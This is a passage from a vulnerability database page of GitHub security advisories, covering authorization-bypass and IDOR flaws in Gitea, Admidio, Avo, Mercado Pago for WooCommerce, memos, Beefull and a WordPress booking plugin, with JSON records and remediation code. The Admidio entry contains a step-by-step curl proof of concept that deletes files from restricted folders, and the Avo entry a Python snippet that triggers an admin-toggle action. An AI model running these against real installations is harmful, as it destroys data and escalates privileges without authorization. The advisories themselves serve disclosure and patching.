behind the link they click.\n\n**Severity calibration via direct precedent:**\n\n| Property | CVE-2026-27660 (this finding\u0027s API mirror) | This finding |\n|---|---|---|\n| Vulnerability class | Missing authorization on draft release | Missing authorization on draft release attachments |\n| Attack vector | Network | Network |\n| Privileges required | None (relies on UUID/ID being leaked) | None (relies on UUID being leaked) |\n| Attack complexity | High (must obtain UUID/ID) | High (must obtain UUID) |\n| Confidentiality | High | High |\n| Integrity / Availability | None | None |\n| Fix complexity | ~5-line authz check added at handler entry | ~5-line authz check added at handler entry |\n| Severity assigned by upstream | Medium | **Should be Medium (5.9) by direct precedent** |\n\nIf CVE-2026-27660 was accepted as a Medium-severity security advisory worth a dedicated PR, an identical bug in the web mirror of the same data is also Medium-severity. The maintainer cannot consistently rate this lower without retroactively downgrading their own previous fix.\n\n**CVSS 3.1:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` = **5.9 / Medium**\n\n- `AV:N`: reachable over the network.\n- `AC:H`: attacker must obtain the UUID via a leak channel (same prerequisite class as the upstream CVE).\n- `PR:N`: no authentication required (anonymous works).\n- `UI:N`: no user interaction required.\n- `S:U`: scope unchanged (still bounded to Gitea\u0027s auth boundary; the draft release was supposed to be inside that boundary but isn\u0027t).\n- `C:H`: full confidentiality breach of the attachment contents.\n- `I:N` / `A:N`: read-only.\n\n**Out of scope:** brute-forcing the UUID is infeasible (122 bits of UUIDv4 entropy). This is a confidentiality-loss bug, not an integrity or availability bug.\n\n**Deployment scale:** Gitea is a top-three self-hosted forge (~30 k+ public Internet-reachable instances per Shodan, plus very large numbers of internal corporate deployments and Codeberg / Forgejo derivatives that inherit the same code). The bug is present in the default configuration; no operator action is required to make a deployment vulnerable.\n\n**Fix complexity:** trivial. Add a `release.IsDraft \u0026\u0026 !perm.CanWrite(unit.TypeReleases)` check in `ServeAttachment` (single function, ~5 lines added). Patch is provided in the Details section. No data migration, no UX change, no breaking-API change.",
  "id": "GHSA-q9pg-jj6x-j9p6",
  "modified": "2026-07-21T20:19:25Z",
  "published": "2026-07-21T20:19:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-q9pg-jj6x-j9p6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38318"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38325"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/ab10e37acf7fabf7829a485cc3e13d118638a856"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f7fd51022495737cf960b8c4053a27d69148f664"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: draft release attachment disclosure via missing web authorization"
}

GHSA-QC4C-HRMC-4F78

Vulnerability from github – Published: 2026-05-29 21:54 – Updated: 2026-06-09 10:35
VLAI
Summary
Admidio: Authorization bypass in file_delete enables cross-folder file removal by authenticated users without delete privileges
Details

Summary

An authenticated Admidio member with upload rights on any one folder can permanently delete files from folders where they have only view access. The authorization check at the top of modules/documents-files.php evaluates upload rights against the attacker-supplied folder_uuid URL parameter — not the file's actual parent folder. The file_delete handler then only verifies view rights on the file's real location, never upload rights. By passing a folder they legitimately own in folder_uuid while targeting a file in a restricted folder via file_uuid, an attacker bypasses the upload-right check entirely and permanently deletes the file.

This is an incomplete fix of GHSA-rmpj-3x5m-9m5f, which was patched in v5.0.7 but remains exploitable in v5.0.9.

Affected Version: Admidio v5.0.9

Details

Root Cause File: modules/documents-files.php

Issue 1 — folder_uuid is not required for file_delete mode (line 67):

$getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', array(
    'requireValue' => !in_array($getMode, array('list', 'file_delete', 'download'))
));

Issue 2 — The top-level upload-right check loads the folder from the attacker-controlled URL parameter, not the file's actual parent folder (lines 79–88):

if ($getMode != 'list' && $getMode != 'download') {
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);   // uses attacker-supplied UUID
    if (!$folder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
    }
}

Issue 3 — The file_delete handler only checks view rights via getFileForDownload(). Upload rights on the file's actual folder are never verified (lines 165–178):

case 'file_delete':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    $file = new File($gDb);
    $file->getFileForDownload($getFileUUID);   // view-only check, not upload
    $file->delete();
    echo json_encode(array('status' => 'success'));
    break;

File::getFileForDownload() in src/Documents/Entity/File.php checks only view-role membership — it never verifies upload rights.

Attack Scenario

  1. The organization has two folders: PrivateFolder (role A: view-only) and UploadFolder (role A: upload + view).
  2. Attacker is a member of role A — they have legitimate upload access to UploadFolder only.
  3. Attacker enumerates a file UUID in PrivateFolder using file_list mode, which is accessible to anyone with view rights.
  4. Attacker sends a file_delete POST using UploadFolder's UUID in folder_uuid and the PrivateFolder file UUID in file_uuid.
  5. Server checks upload rights against UploadFolder → passes.
  6. Server deletes the file from PrivateFolder without ever checking upload rights there.

Prerequisites:

  • Authenticated Admidio member account
  • Upload rights on at least one folder (legitimately assigned)
  • View rights on the target folder (sufficient to enumerate file UUIDs via file_list mode)
  • Knowledge of a target file UUID (obtainable from the folder listing)

PoC

Step 1 — Authenticate and obtain login CSRF token:

curl -c /tmp/admidio_cookies.txt http://TARGET/system/login.php > /tmp/login.html

LOGIN_CSRF=$(grep -o 'name="adm_csrf_token"[^>]*value="[^"]*"' /tmp/login.html \
  | grep -o 'value="[^"]*"' | cut -d'"' -f2)

curl -b /tmp/admidio_cookies.txt -c /tmp/admidio_cookies.txt \
  -X POST "http://TARGET/system/login.php?mode=check" \
  -d "usr_login_name=MEMBER&usr_password=PASSWORD&adm_csrf_token=${LOGIN_CSRF}"

Step 2 — Extract authenticated session CSRF token:

AUTH_CSRF=$(curl -s -b /tmp/admidio_cookies.txt \
  "http://TARGET/system/file_upload.php?module=documents_files&uuid=UPLOAD_FOLDER_UUID" \
  | grep -oP 'name:\s*"adm_csrf_token",\s*value:\s*"\K[^"]+')

Step 3 — Delete file from restricted folder using the upload folder UUID as bypass:

curl -b /tmp/admidio_cookies.txt \
  -X POST "http://TARGET/modules/documents-files.php?mode=file_delete&file_uuid=PRIVATE_FILE_UUID&folder_uuid=UPLOAD_FOLDER_UUID" \
  -d "adm_csrf_token=${AUTH_CSRF}"

Expected response: {"status":"success"}

testmember holds upload rights only on UploadFolder. secret2.txt (UUID 93dc6280-...-bba7-...) resided in PrivateFolder and was permanently deleted from both the database and filesystem.

Impact

An authenticated Admidio member with legitimate upload access to any one folder can permanently delete files from any other folder to which they have view access — without authorization. In organizations where upload rights are delegated by role (e.g., team leads upload to their own folder, view-only everywhere else), this enables cross-folder sabotage and permanent destruction of shared documents.

Business Impact: Data loss, destruction of shared organizational documents, and compliance violations in organizations relying on Admidio for document management.

Remediation

In the file_delete handler, after loading the file via getFileForDownload(), verify upload rights against the file's actual parent folder — not the URL-supplied folder_uuid:

case 'file_delete':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    $file = new File($gDb);
    $file->getFileForDownload($getFileUUID);
    // Verify upload rights on the file's actual parent folder
    $parentFolder = new Folder($gDb);
    $parentFolder->readDataById((int)$file->getValue('fil_fol_id'));
    if (!$parentFolder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
    }
    $file->delete();
    echo json_encode(array('status' => 'success'));
    break;

Alternative fix: Remove the top-level folder_uuid check for file_delete entirely and move a proper upload-rights verification into the file_delete case as the sole authority for authorization.

Defense-in-depth recommendations:

  • Audit all other modes in documents-files.php (e.g., folder_delete, file_rename) for the same pattern of trusting folder_uuid from the URL instead of the resource's actual parent.
  • Add an integration test asserting a user with upload rights on Folder A cannot perform destructive operations on files in Folder B.
  • Consider centralizing authorization in a single helper (e.g., assertUploadRightOnFile($fileUuid)) to eliminate the URL-parameter trust-boundary issue across the codebase.

Credits

  • Researcher: Vishal Kumar B - https://github.com/VishaaLlKumaaRr - Security Researcher & Penetration Tester
  • Disclosure: Responsible disclosure to Admidio maintainers

References

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T21:54:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn authenticated Admidio member with upload rights on **any one folder** can permanently delete files from folders where they have only view access. The authorization check at the top of `modules/documents-files.php` evaluates upload rights against the attacker-supplied `folder_uuid` URL parameter \u2014 not the file\u0027s actual parent folder. The `file_delete` handler then only verifies view rights on the file\u0027s real location, never upload rights. By passing a folder they legitimately own in `folder_uuid` while targeting a file in a restricted folder via `file_uuid`, an attacker bypasses the upload-right check entirely and permanently deletes the file.\n\nThis is an **incomplete fix** of [GHSA-rmpj-3x5m-9m5f](https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f), which was patched in v5.0.7 but remains exploitable in v5.0.9.\n\n**Affected Version:** Admidio v5.0.9 \n\n---\n\n### Details\n\n**Root Cause File:** `modules/documents-files.php`\n\n**Issue 1 \u2014 `folder_uuid` is not required for `file_delete` mode (line 67):**\n\n```php\n$getFolderUUID = admFuncVariableIsValid($_GET, \u0027folder_uuid\u0027, \u0027uuid\u0027, array(\n    \u0027requireValue\u0027 =\u003e !in_array($getMode, array(\u0027list\u0027, \u0027file_delete\u0027, \u0027download\u0027))\n));\n```\n\n**Issue 2 \u2014 The top-level upload-right check loads the folder from the attacker-controlled URL parameter, not the file\u0027s actual parent folder (lines 79\u201388):**\n\n```php\nif ($getMode != \u0027list\u0027 \u0026\u0026 $getMode != \u0027download\u0027) {\n    $folder = new Folder($gDb);\n    $folder-\u003egetFolderForDownload($getFolderUUID);   // uses attacker-supplied UUID\n    if (!$folder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n    }\n}\n```\n\n**Issue 3 \u2014 The `file_delete` handler only checks view rights via `getFileForDownload()`. Upload rights on the file\u0027s actual folder are never verified (lines 165\u2013178):**\n\n```php\ncase \u0027file_delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n    $file = new File($gDb);\n    $file-\u003egetFileForDownload($getFileUUID);   // view-only check, not upload\n    $file-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\n`File::getFileForDownload()` in `src/Documents/Entity/File.php` checks only view-role membership \u2014 it never verifies upload rights.\n\n---\n\n### Attack Scenario\n\n1. The organization has two folders: `PrivateFolder` (role A: view-only) and `UploadFolder` (role A: upload + view).\n2. Attacker is a member of role A \u2014 they have legitimate upload access to `UploadFolder` only.\n3. Attacker enumerates a file UUID in `PrivateFolder` using `file_list` mode, which is accessible to anyone with view rights.\n4. Attacker sends a `file_delete` POST using `UploadFolder`\u0027s UUID in `folder_uuid` and the `PrivateFolder` file UUID in `file_uuid`.\n5. Server checks upload rights against `UploadFolder` \u2192 **passes**.\n6. Server deletes the file from `PrivateFolder` **without ever checking upload rights there**.\n\n**Prerequisites:**\n\n- Authenticated Admidio member account\n- Upload rights on at least one folder (legitimately assigned)\n- View rights on the target folder (sufficient to enumerate file UUIDs via `file_list` mode)\n- Knowledge of a target file UUID (obtainable from the folder listing)\n\n---\n\n### PoC\n\n**Step 1 \u2014 Authenticate and obtain login CSRF token:**\n\n```bash\ncurl -c /tmp/admidio_cookies.txt http://TARGET/system/login.php \u003e /tmp/login.html\n\nLOGIN_CSRF=$(grep -o \u0027name=\"adm_csrf_token\"[^\u003e]*value=\"[^\"]*\"\u0027 /tmp/login.html \\\n  | grep -o \u0027value=\"[^\"]*\"\u0027 | cut -d\u0027\"\u0027 -f2)\n\ncurl -b /tmp/admidio_cookies.txt -c /tmp/admidio_cookies.txt \\\n  -X POST \"http://TARGET/system/login.php?mode=check\" \\\n  -d \"usr_login_name=MEMBER\u0026usr_password=PASSWORD\u0026adm_csrf_token=${LOGIN_CSRF}\"\n```\n\n**Step 2 \u2014 Extract authenticated session CSRF token:**\n\n```bash\nAUTH_CSRF=$(curl -s -b /tmp/admidio_cookies.txt \\\n  \"http://TARGET/system/file_upload.php?module=documents_files\u0026uuid=UPLOAD_FOLDER_UUID\" \\\n  | grep -oP \u0027name:\\s*\"adm_csrf_token\",\\s*value:\\s*\"\\K[^\"]+\u0027)\n```\n\n**Step 3 \u2014 Delete file from restricted folder using the upload folder UUID as bypass:**\n\n```bash\ncurl -b /tmp/admidio_cookies.txt \\\n  -X POST \"http://TARGET/modules/documents-files.php?mode=file_delete\u0026file_uuid=PRIVATE_FILE_UUID\u0026folder_uuid=UPLOAD_FOLDER_UUID\" \\\n  -d \"adm_csrf_token=${AUTH_CSRF}\"\n```\n\n**Expected response:** `{\"status\":\"success\"}`\n\n`testmember` holds upload rights **only** on `UploadFolder`. `secret2.txt` (UUID `93dc6280-...-bba7-...`) resided in `PrivateFolder` and was permanently deleted from both the database and filesystem.\n\n---\n\n### Impact\n\nAn authenticated Admidio member with legitimate upload access to **any one folder** can permanently delete files from **any other folder** to which they have view access \u2014 without authorization. In organizations where upload rights are delegated by role (e.g., team leads upload to their own folder, view-only everywhere else), this enables cross-folder sabotage and permanent destruction of shared documents.\n\n**Business Impact:** Data loss, destruction of shared organizational documents, and compliance violations in organizations relying on Admidio for document management.\n\n---\n\n### Remediation\n\nIn the `file_delete` handler, after loading the file via `getFileForDownload()`, verify upload rights against the file\u0027s **actual parent folder** \u2014 not the URL-supplied `folder_uuid`:\n\n```php\ncase \u0027file_delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n    $file = new File($gDb);\n    $file-\u003egetFileForDownload($getFileUUID);\n    // Verify upload rights on the file\u0027s actual parent folder\n    $parentFolder = new Folder($gDb);\n    $parentFolder-\u003ereadDataById((int)$file-\u003egetValue(\u0027fil_fol_id\u0027));\n    if (!$parentFolder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n    }\n    $file-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\n**Alternative fix:** Remove the top-level `folder_uuid` check for `file_delete` entirely and move a proper upload-rights verification into the `file_delete` case as the sole authority for authorization.\n\n**Defense-in-depth recommendations:**\n\n- Audit all other modes in `documents-files.php` (e.g., `folder_delete`, `file_rename`) for the same pattern of trusting `folder_uuid` from the URL instead of the resource\u0027s actual parent.\n- Add an integration test asserting a user with upload rights on Folder A cannot perform destructive operations on files in Folder B.\n- Consider centralizing authorization in a single helper (e.g., `assertUploadRightOnFile($fileUuid)`) to eliminate the URL-parameter trust-boundary issue across the codebase.\n\n---\n\n### Credits\n\n- Researcher: Vishal Kumar B - https://github.com/VishaaLlKumaaRr - Security Researcher \u0026 Penetration Tester\n- Disclosure: Responsible disclosure to Admidio maintainers\n\n---\n\n### References\n\n- [GHSA-rmpj-3x5m-9m5f](https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f) \u2014 Prior incomplete fix, patched in v5.0.7\n- [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)",
  "id": "GHSA-qc4c-hrmc-4f78",
  "modified": "2026-06-09T10:35:01Z",
  "published": "2026-05-29T21:54:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-qc4c-hrmc-4f78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio: Authorization bypass in file_delete enables cross-folder file removal by authenticated users without delete privileges"
}

GHSA-QC5M-7R97-W8MQ

Vulnerability from github – Published: 2026-08-06 15:32 – Updated: 2026-08-06 15:32
VLAI
Details

Unauthenticated Insecure Direct Object References (IDOR) in Mercado Pago payments for WooCommerce <= 8.9.0 versions.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-28180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-06T15:16:53Z",
    "severity": "MODERATE"
  },
  "details": "Unauthenticated Insecure Direct Object References (IDOR) in Mercado Pago payments for WooCommerce \u003c= 8.9.0 versions.",
  "id": "GHSA-qc5m-7r97-w8mq",
  "modified": "2026-08-06T15:32:45Z",
  "published": "2026-08-06T15:32:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28180"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/woocommerce-mercadopago/vulnerability/wordpress-mercado-pago-payments-for-woocommerce-plugin-8-9-0-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC5P-3MG5-9FH8

Vulnerability from github – Published: 2026-04-24 16:11 – Updated: 2026-06-08 23:17
VLAI
Summary
Avo: Broken Access Control Through Unauthorized Execution of Arbitrary Action Classes Across Resources
Details

Summary

A critical Broken Access Control vulnerability was identified in the ActionsController of the Avo framework (v3.x). Due to insecure action lookup logic, an authenticated user can execute any Action class (descendants of Avo::BaseAction) on any resource, even if the action is not registered for that specific resource. This leads to Privilege Escalation and unauthorized data manipulation across the entire application.

Details

The vulnerability exists in the action_class method within app/controllers/avo/actions_controller.rb.

Vulnerable Code

def action_class
  # It searches through ALL descendants of BaseAction without resource validation
  Avo::BaseAction.descendants.find do |action|
    action.to_s == params[:action_id]
  end
end

The controller identifies the action class to execute solely based on the params[:action_id] by searching through all BaseAction descendants. It fails to verify whether the requested action is actually permitted or registered for the resource context specified in the request URL (e.g., /admin/resources/posts/actions).

Consequently, an attacker can invoke sensitive actions (e.g., Avo::Actions::ToggleAdmin) through an unrelated resource endpoint (e.g., Post), bypassing the intended resource-action mapping.

Impact

This flaw results in significant security risks:

  • Privilege Escalation: An authenticated user with low privileges can execute administrative actions (like toggling admin roles) to escalate their own or others' permissions.
  • Unauthorized Operations: Actions designed for restricted resources can be triggered against any record ID in the database.
  • Data Integrity Compromise: Attackers can perform unauthorized destructive operations (e.g., Delete, Archive, or Update) on records they should not have access to.

Proof of Concept (PoC)

Steps to Reproduce:

  1. Log in to the Avo admin panel with limited permissions.
  2. Identify a target record ID (e.g., User ID: 1) and a sensitive action class (e.g., Avo::Actions::ToggleAdmin).
  3. Send a POST request to a resource endpoint where the target action is not registered:
    • URL: POST /admin/resources/posts/actions
    • Payload: action_id=Avo::Actions::ToggleAdmin&fields[avo_resource_ids]=1
  4. The server executes the ToggleAdmin logic on User 1, even though the request was made through the posts resource context.

PoC Script Snippet:

# Simulating the unauthorized action execution
data = {
    'action_id': 'Avo::Actions::ToggleAdmin',
    'fields[avo_resource_ids]': '1', # Target Record ID
    'authenticity_token': csrf_token
}
response = session.post(f"{BASE_URL}/admin/resources/posts/actions", data=data)

Remediation

Restrict the action lookup to only those actions explicitly registered for the current resource context:

def action_class
  # Validate that the action is registered for the current resource
  @resource.get_actions.find do |action|
    action.to_s == params[:action_id]
  end
end

Discoverer

Illunight

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "avo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.31.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42205"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T16:11:28Z",
    "nvd_published_at": "2026-05-08T22:16:31Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA critical Broken Access Control vulnerability was identified in the `ActionsController` of the Avo framework (v3.x). Due to insecure action lookup logic, an authenticated user can execute any Action class (descendants of `Avo::BaseAction`) on any resource, even if the action is not registered for that specific resource. This leads to Privilege Escalation and unauthorized data manipulation across the entire application.\n\n### Details\n\nThe vulnerability exists in the `action_class` method within `app/controllers/avo/actions_controller.rb`.\n\n#### Vulnerable Code\n\n```ruby\ndef action_class\n  # It searches through ALL descendants of BaseAction without resource validation\n  Avo::BaseAction.descendants.find do |action|\n    action.to_s == params[:action_id]\n  end\nend\n```\n\nThe controller identifies the action class to execute solely based on the `params[:action_id]` by searching through all `BaseAction` descendants. It fails to verify whether the requested action is actually permitted or registered for the resource context specified in the request URL (e.g., `/admin/resources/posts/actions`).\n\nConsequently, an attacker can invoke sensitive actions (e.g., `Avo::Actions::ToggleAdmin`) through an unrelated resource endpoint (e.g., `Post`), bypassing the intended resource-action mapping.\n\n### Impact\n\nThis flaw results in significant security risks:\n\n- **Privilege Escalation:** An authenticated user with low privileges can execute administrative actions (like toggling admin roles) to escalate their own or others\u0027 permissions.\n- **Unauthorized Operations:** Actions designed for restricted resources can be triggered against any record ID in the database.\n- **Data Integrity Compromise:** Attackers can perform unauthorized destructive operations (e.g., Delete, Archive, or Update) on records they should not have access to.\n\n### Proof of Concept (PoC)\n\n**Steps to Reproduce:**\n\n01. Log in to the Avo admin panel with limited permissions.\n02. Identify a target record ID (e.g., User ID: 1) and a sensitive action class (e.g., `Avo::Actions::ToggleAdmin`).\n03. Send a POST request to a resource endpoint where the target action is not registered:\n    - **URL:** `POST /admin/resources/posts/actions`\n    - **Payload:** `action_id=Avo::Actions::ToggleAdmin\u0026fields[avo_resource_ids]=1`\n04. The server executes the `ToggleAdmin` logic on User 1, even though the request was made through the `posts` resource context.\n\n**PoC Script Snippet:**\n\n```python\n# Simulating the unauthorized action execution\ndata = {\n    \u0027action_id\u0027: \u0027Avo::Actions::ToggleAdmin\u0027,\n    \u0027fields[avo_resource_ids]\u0027: \u00271\u0027, # Target Record ID\n    \u0027authenticity_token\u0027: csrf_token\n}\nresponse = session.post(f\"{BASE_URL}/admin/resources/posts/actions\", data=data)\n```\n\n### Remediation\n\nRestrict the action lookup to only those actions explicitly registered for the current resource context:\n\n```ruby\ndef action_class\n  # Validate that the action is registered for the current resource\n  @resource.get_actions.find do |action|\n    action.to_s == params[:action_id]\n  end\nend\n```\n\n### Discoverer\n\nIllunight",
  "id": "GHSA-qc5p-3mg5-9fh8",
  "modified": "2026-06-08T23:17:53Z",
  "published": "2026-04-24T16:11:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/avo-hq/avo/security/advisories/GHSA-qc5p-3mg5-9fh8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42205"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/avo-hq/avo"
    },
    {
      "type": "WEB",
      "url": "https://github.com/avo-hq/avo/releases/tag/v3.31.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/avo/CVE-2026-42205.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Avo: Broken Access Control Through Unauthorized Execution of Arbitrary Action Classes Across Resources"
}

GHSA-QC7R-9GXQ-W2HJ

Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2026-06-05 15:32
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Beefull Energy Technologies Beefull App allows Exploitation of Trusted Identifiers.This issue affects Beefull App: before 24.07.2025.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-7355"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-16T13:16:12Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Beefull Energy Technologies Beefull App allows Exploitation of Trusted Identifiers.This issue affects Beefull App: before 24.07.2025.",
  "id": "GHSA-qc7r-9gxq-w2hj",
  "modified": "2026-06-05T15:32:04Z",
  "published": "2025-09-16T15:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7355"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0255"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-25-0255"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QCF5-M2C6-89F2

Vulnerability from github – Published: 2022-12-28 15:30 – Updated: 2023-01-10 15:45
VLAI
Summary
usememos/memos Improper Authorization vulnerability
Details

usememos/memos 0.9.0 and prior is vulnerable to Improper Authorization.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/usememos/memos"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-4798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-30T19:57:20Z",
    "nvd_published_at": "2022-12-28T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "usememos/memos 0.9.0 and prior is vulnerable to Improper Authorization.",
  "id": "GHSA-qcf5-m2c6-89f2",
  "modified": "2023-01-10T15:45:55Z",
  "published": "2022-12-28T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/usememos/memos/commit/3556ae4e651d9443dc3bb8a170dd3cc726517a53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/usememos/memos"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/e12eed25-1a8e-4ee1-b846-2d4df1db2fae"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "usememos/memos Improper Authorization vulnerability"
}

GHSA-QCF7-52W8-GP39

Vulnerability from github – Published: 2024-12-13 09:31 – Updated: 2024-12-13 09:31
VLAI
Details

The WP Timetics- AI-powered Appointment Booking Calendar and Online Scheduling Plugin plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the /wp-json/timetics/v1/customers/ REST API endpoint in all versions up to, and including, 1.0.27. This makes it possible for authenticated attackers, with Timetics Customer access and above, to delete arbitrary users.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-11275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-13T09:15:04Z",
    "severity": "MODERATE"
  },
  "details": "The WP Timetics- AI-powered Appointment Booking Calendar and Online Scheduling Plugin plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the /wp-json/timetics/v1/customers/ REST API endpoint in all versions up to, and including, 1.0.27. This makes it possible for authenticated attackers, with Timetics Customer access and above, to delete arbitrary users.",
  "id": "GHSA-qcf7-52w8-gp39",
